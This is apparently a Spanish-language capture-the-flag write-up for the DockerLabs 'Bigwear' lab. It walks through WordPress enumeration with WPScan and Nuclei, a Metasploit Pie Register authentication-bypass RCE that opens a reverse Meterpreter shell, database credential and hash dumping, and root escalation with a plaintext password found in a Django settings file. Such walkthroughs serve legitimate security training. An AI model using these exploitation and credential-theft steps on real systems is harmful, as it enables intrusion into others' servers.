



Empezamos, como siempre, con nuestro script automatizado para CTF esta Bigwear de Dockerlabs.

Pero esta vez no nos devuelve ninguna pista porque no aparece ningún puerto abierto... así que lo primero que hago es abrir el navegador y confirmar sospechas:



Estamos delante de un CMD, en este caso un wordpress, así que comenzamos a desvelar cosas con Feroxbuster. Sacamos la página de robots.txt que muestra algo de información.



Seguimos con Wpscan para continuar afinando la búsqueda y nos devuelve alguna posible vulnerabilidad y un nombre de usuario:

```
[+] pie-register
| Location: http://172.17.0.2/wp-content/plugins/pie-register/
| Last Updated: 2026-03-30T12:58:00.000Z
| [!] The version is out of date, the latest version is 3.8.4.9
|
| Found By: Urls In Homepage (Passive Detection)
| Confirmed By: Urls In 404 Page (Passive Detection)
|
| Version: 3.7.1.4 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://172.17.0.2/wp-content/plugins/pie-register/readme.txt

[+] Enumerating Users (via Aggressive Methods)

Brute Forcing Author IDs -: |=====|

[i] User(s) Identified:

[+] admin
| Found By: Wp Json Api (Aggressive Detection)
| - http://172.17.0.2/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
|   Rss Generator (Aggressive Detection)
|   Author Sitemap (Aggressive Detection)
```

Pero además como estamos pensando en añadir Nuclei al auto-scan, probamos con esta herramienta y su modo automático que nos confirma todo lo que habíamos encontrado antes, incluido el usuario admin, y nos vuelve a sorprender mostrando de forma clara dos CVE's críticos:

```
[CVE-2021-24731] [http] [critical] http://172.17.0.2/wp-json/pie/v1/login
[CVE-2023-0552] [http] [medium] http://172.17.0.2/wp-admin/?piereg_logout_url=true&redirect_to=https://oast.me
[CVE-2021-24647] [http] [high] http://172.17.0.2/wp-admin/profile.php
[cluster-b738123da4a6be6c9e609a1bc573d2ed23cf8852a84326495b7c4fd48c4bdfdf0] [http] [info] http://172.17.0.2/wp-login.php
[wordpress-readme-file] [http] [info] http://172.17.0.2/readme.html
[wp-links-opml:version] [http] [info] http://172.17.0.2/wp-links-opml.php ["6.9.4"]
[apache-detect] [http] [info] http://172.17.0.2/ ["Apache/2.4.52 (Ubuntu)"]
[metatag-cms] [http] [info] http://172.17.0.2/ ["WordPress 6.9.4"]
[wordpress-detect:version_by_js] [http] [info] http://172.17.0.2/ ["6.9.4"]
[wordpress-passive-detection:plugin_slug] [http] [info] http://172.17.0.2/ ["pie-register"]
[wordpress-passive-detection:theme_slug] [http] [info] http://172.17.0.2/ ["twentytwentyfive"]
[wordpress-theme-detect:twentytwentyfive] [http] [info] http://172.17.0.2/
[pieregister-open-redirect] [http] [low] http://172.17.0.2/?piereg_logout_url=true&redirect_to=https://interact.sh
[wordpress-xmlrpc-detect] [http] [info] http://172.17.0.2/xmlrpc.php
[wordpress-user-enum] [http] [info] http://172.17.0.2/?author=1 ["author/admin"]
[wordpress-xmlrpc-listmethods] [http] [info] http://172.17.0.2/xmlrpc.php
[wordpress-rdf-user-enum] [http] [info] http://172.17.0.2/feed/rdf/ ["admin"]
[wp-license-file] [http] [info] http://172.17.0.2/license.txt
[wp-enabled-registration] [http] [info] http://172.17.0.2/login/?registration=disabled
[wp-user-enum:username] [http] [low] http://172.17.0.2/wp-json/wp/v2/users/ ["admin"]
[wp-enabled-registration] [http] [info] http://172.17.0.2/registration/
[wordpress-plugin-detect:pie-register] [http] [info] http://172.17.0.2/
[CVE-2025-34077] [http] [critical] http://172.17.0.2/wp-admin/index.php
[wp-xmlrpc-pingback-detection] [http] [info] http://172.17.0.2/xmlrpc.php
[wp-xmlrpc-pingback-detection] [http] [info] http://172.17.0.2/xmlrpc.php
```

Con esta info abrimos Metasploit y buscamos... y buscamos... porque no aparece por el CVE pero al final:

size	action	score	quality	yes	no	description
188	_ action: VSS_UNMOUNT	.	.	.	.	Unmount a VSS copy
189	exploit/unix/webapp/wp- ██████████ _register_bypass_rce	2021-10-08	excellent	Yes		WordPress Plugin ██████████ Register
190	exploit/linux/http/php_imap_open_rce	2018-10-23	good	Yes		php imap_open Remote Code Ex

Con solo ajustar la ip le damos RUN y listo:

```

msf exploit(unix/webapp/wp_pie_register_bypass_rce) > set rhosts 172.17.0.2
rhosts => 172.17.0.2
msf exploit(unix/webapp/wp_pie_register_bypass_rce) > run
[*] Started reverse TCP handler on 172.28.70.149:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Bypassing Authentication
[*] Found cookie: wordpress_a2a379b8590d3431d7153bb3b68da0df=admin%7C1782412410%7Cf1x5PULTaUyHcISUzFvuJH4i8JMYoM2EXo6erHJ07pT%7Cc3692d0fb33e38e70213c40992ead49f368ab3b4740af7e36bb72094072afe9e
[*] Found cookie: wordpress_a2a379b8590d3431d7153bb3b68da0df=admin%7C1782412410%7Cf1x5PULTaUyHcISUzFvuJH4i8JMYoM2EXo6erHJ07pT%7Cc3692d0fb33e38e70213c40992ead49f368ab3b4740af7e36bb72094072afe9e
[*] Found cookie: wordpress_logged_in_a2a379b8590d3431d7153bb3b68da0df=admin%7C1782412410%7Cf1x5PULTaUyHcISUzFvuJH4i8JMYoM2EXo6erHJ07pT%7Cecceccfe5935b7a8f60f0c4d625c0fcbe0bcdbf9cf0a7b09f1dfdd267dce85db
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/wPaMATPDf0/bSTHqhSWeK.php...
[*] Sending stage (45739 bytes) to 172.17.0.2
[+] Deleted bSTHqhSWeK.php
[+] Deleted wPaMATPDf0.php
[+] Deleted ../wPaMATPDf0
[*] Meterpreter session 1 opened (172.28.70.149:4444 -> 172.17.0.2:38970) at 2026-06-23 20:33:50 +0200

meterpreter > shell
Process 702 created.
Channel 0 created.
sh: 0: getcwd() failed: No such file or directory
sh: 0: getcwd() failed: No such file or directory
whoami
www-data

```

Estamos dentro.

Lo primero que hacemos es copiar nuestro script de climb4me para agilizar la escalada y sacamos chicha:

```

===== BINARIOS SUID (GTF0Bins) =====

[ ] INFO: Buscamos archivos que se ejecutan como root. Comparamos los resultados con GTF0Bins.
[ ] Ejecutando: find / -perm -4000 -type f 2>/dev/null | grep -vE 'snap|dbus|ssh-keysign|sudo|mount|passwd|chsh|at|chfn|gpasswd'
/usr/bin/newgrp
/usr/bin/su

===== RED Y CONEXIONES =====

[ ] INFO: Buscamos servicios que solo escuchan en 127.0.0.1. Podrían ser bases de datos o paneles ocultos.
[ ] Ejecutando: cat /proc/net/tcp | awk '{print $2}' | cut -d: -f2 | grep -v 'local' | sort | uniq | while read port; do echo -e " -> Port: ${((16#$port))}"; done
-> Port: 80
-> Port: 3000
-> Port: 3306
-> Port: 8000
-> Port: 38970

===== BÚSQUEDA DE SECRETOS (LOOT) =====

[ ] INFO: Buscamos archivos con nombres sospechosos (pass, config, sql) que podamos leer.
[ ] Ejecutando: find /var/www /opt /srv /var/backups -type f \( -name '*.php' -o -name '*.bak' -o -name '*.sql' -o -name '*.txt' -o -name '*.conf' \) -readable 2>/dev/null | grep -iE 'config|pass|db|user|cred' | head -n 10
/var/www/html/wp-config.php
/var/www/html/wp-admin/ms-users.php
/var/www/html/wp-admin/user/credits.php
/var/www/html/wp-admin/user/menu.php
/var/www/html/wp-admin/user/privacy.php
/var/www/html/wp-admin/user/freedoms.php
/var/www/html/wp-admin/user/index.php
/var/www/html/wp-admin/user/about.php
/var/www/html/wp-admin/user/user-edit.php
/var/www/html/wp-admin/user/admin.php

```

De pronto aparecen nuevos puertos abiertos al localhost, así que volvemos a la sesión de Meterpreter para hacer portfwd y volver a escanear. Mientras hacemos algunas comprobaciones en la base de datos y en los procesos que están corriendo:

```
mysql -u wp_user -p'wp_password' -e "show databases;" 2>/dev/null
Database
information_schema
wordpress
ps aux
USER          PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root             1  0.0  0.1  33140 26628 ?        Ss   17:30   0:01 /usr/bin/python3 /usr/bin/supervisord -c /etc/supervisor/conf.d/superv
mysql          162  9.6  0.4 5081660 117084 ?        Sl   17:32   7:22 /usr/sbin/mariadb --basedir=/usr --datadir=/var/lib/mysql --plugin-di
ugin --user=mysql
root           163  0.0  0.0   2900  1888 ?        S    17:32   0:00 /bin/sh /usr/sbin/apache2ctl -D FOREGROUND
root           164  0.0  0.1  46444 37516 ?        S    17:32   0:00 python3 manage.py runserver 0.0.0.0:8000
root           166  0.0  0.2 11192952 52536 ?        Sl   17:32   0:00 node /usr/bin/serve -s build -l tcp://0.0.0.0:3000
root           167  0.0  0.1  221568 28536 ?        S    17:32   0:01 /usr/sbin/apache2 -D FOREGROUND
root           196  1.5  0.1 130396 46112 ?        Sl   17:32   1:12 /usr/bin/python3 manage.py runserver 0.0.0.0:8000
www-data       582  1.8  0.2 302312 52892 ?        S    18:18   0:32 /usr/sbin/apache2 -D FOREGROUND
www-data       585  1.7  0.1  229008 46780 ?        S    18:18   0:31 /usr/sbin/apache2 -D FOREGROUND
www-data       602  1.8  0.1  228976 48336 ?        S    18:18   0:32 /usr/sbin/apache2 -D FOREGROUND
www-data       612  1.6  0.1  229008 46792 ?        S    18:18   0:29 /usr/sbin/apache2 -D FOREGROUND
www-data       632  1.6  0.1  228980 46760 ?        S    18:18   0:29 /usr/sbin/apache2 -D FOREGROUND
www-data       657  1.6  0.1  228880 46684 ?        S    18:18   0:28 /usr/sbin/apache2 -D FOREGROUND
www-data       661  1.6  0.2  304428 55484 ?        S    18:18   0:29 /usr/sbin/apache2 -D FOREGROUND
www-data       667  1.6  0.2  304688 57256 ?        S    18:18   0:29 /usr/sbin/apache2 -D FOREGROUND
www-data       680  1.5  0.2  229436 49788 ?        S    18:18   0:27 /usr/sbin/apache2 -D FOREGROUND
www-data       682  1.5  0.1  226968 44828 ?        S    18:18   0:26 /usr/sbin/apache2 -D FOREGROUND
www-data       702  0.0  0.0   2900  1836 ?        S    18:34   0:00 sh -c /bin/sh
www-data       703  0.0  0.0   2900  1848 ?        S    18:34   0:00 /bin/sh
www-data       752  0.0  0.0   7448  3304 ?        R    18:48   0:00 ps aux
cat /proc/net/tcp
sl  local_address rem_address  st tx_queue rx_queue tr tm->when retrnsmt  uid  timeout inode
0: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 15144 1 000000008c7c6c57 100 0 0 10 0
1: 00000000:0BB8 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 12670 1 00000000ddbdf8e5 100 0 0 10 0
2: 0100007F:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000 101   0 836 1 00000000a3fbbd65 100 0 0 10 0
3: 00000000:1F40 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 7906 1 000000006c6bce14 100 0 0 10 0
4: 020011AC:983A 95461CAC:115C 01 00000000:00000000 00:00000000 00000000 33    0 477263 3 00000000f2fbc91d 20 4 31 10 -1
5: 020011AC:0050 010011AC:93B9 08 00000000:00000001 02:00098F3E 00000000 33    0 462518 2 00000000128359ab 20 4 28 10 -1
```

Y seguimos para bingo...

```
3000/tcp open  ppp
8000/tcp open  http-alt
| http-slowloris-check:
|   VULNERABLE:
|   Slowloris DOS attack
|   State: LIKELY VULNERABLE
|   IDs: CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible. It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|
|   Disclosure date: 2009-09-17
|   References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|       http://ha.ckers.org/slowloris/
|_ http-enum:
|_ /api/: Potentially interesting folder
MAC Address: 72:F3:57:11:B2:6A (Unknown)
```

Pero no tenemos suerte, seguimos dando vueltas y buscando información sobre los nuevos puertos a ver donde podemos rascar...

```
mysql -u wp_user -p'wp_password' -e "USE wordpress; SELECT user_login, user_pass FROM wp_users;"
user_login  user_pass
admin       $wp$2y$10$ykIYypQX5mti557mqtTikey8gvZ/nGk.G/.q4rTSdPQG4xX1RSwT0
```

Otra pista, otro callejón... Probamos con el hash pero no hay coincidencia en el rockyou.txt Seguimos buscando, hay muchas carpetas por donde buscar nuevas pistas...

```

www-data@7de2c10dccc0:/opt/bigwear/backend$ ls
ls
__init__.py  asgi.py      manage.py    settings.py  urls.py
__pycache__  db.sqlite3  requirements.txt  tienda      wsgi.py
www-data@7de2c10dccc0:/opt/bigwear/backend$ cat ini
cat ini
cat: ini: No such file or directory
www-data@7de2c10dccc0:/opt/bigwear/backend$ cat __ini
cat __init__.py
www-data@7de2c10dccc0:/opt/bigwear/backend$ cat manag
cat manage.py
#!/usr/bin/env python
"""Django's command-line utility for administrative tasks."""
import os
import sys

```

Después de muchas vueltas por las carpetas encontramos el archivo manage.py y dentro un nombre de usuario y contraseña en texto plano... probamos directamente en root y listo;

```

SECRET_KEY = 'django-insecure-761s4jy@_74==i7vfms0qkk22jg@(rp3npl$=lqf^vj=b8sst1'
DEBUG = True

ALLOWED_HOSTS = ['localhost', '127.0.0.1', '*', '0.0.0.0', '172.17.0.2']

# Credenciales del panel de administración
ADMIN_USERNAME = 'pepe'
ADMIN_PASSWORD = 'BigWear2024!@#'

# Configuración de base de datos cifrada

# Cifrado de base de datos SQLite (opcional)
DB_ENCRYPTION_KEY = 'BigWear2024!@#_encryption_key'
DB_ENCRYPTION_ENABLED = False # Deshabilitado por defecto para evitar problemas

```

Y de lo que se trata que es darle vueltas al coco...

```

www-data@7de2c10dccc0:/opt/bigwear/backend$ su root
su root
Password: BigWear2024!@#

root@7de2c10dccc0:/opt/bigwear/backend# yeeaaaahhhhhh|

```

uffff